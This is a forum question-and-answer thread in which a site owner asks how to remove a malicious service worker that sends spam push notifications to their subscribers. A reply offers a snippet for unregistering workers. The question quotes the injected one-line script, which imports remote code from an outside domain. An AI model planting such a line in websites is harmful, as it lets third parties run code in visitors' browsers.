V
V
Vitaly2020-01-28 19:30:22
JavaScript
Vitaly, 2020-01-28 19:30:22

How can a malicious service worker be removed for all users?

Hello.
Recently, a malicious script was discovered on one of our sites that installs a service worker and then sends spammy push mailings to all subscribers.

/ws.js script contains the following code: I have recently come across this technology and have no idea how it works, I just started to study it. Tell me, is there any way to remove this service worker from all users who have subscribed? Or will they always receive spam from our site now? And how does push mailing work in general. Once the user subscribed, the service worker was installed and now the third-party resource can always send push notifications? Or does the site still have some kind of script through which they do the mailing?
importScripts('https://wwserch44.biz/sw/w1s.js');


Answer the question

In order to leave comments, you need to log in

1 answer(s)
M
Michael, 2020-01-28
@notiv-nt

navigator.serviceWorker.getRegistrations().then((registrations) => {
  for (let registration of registrations) {
    // registration.unregister();
  }
});

This is the API everyone will have
https://developer.mozilla.org/en-US/docs/Web/API/S...

Didn't find what you were looking for?

Ask your question

Ask a Question

731 491 924 answers to any question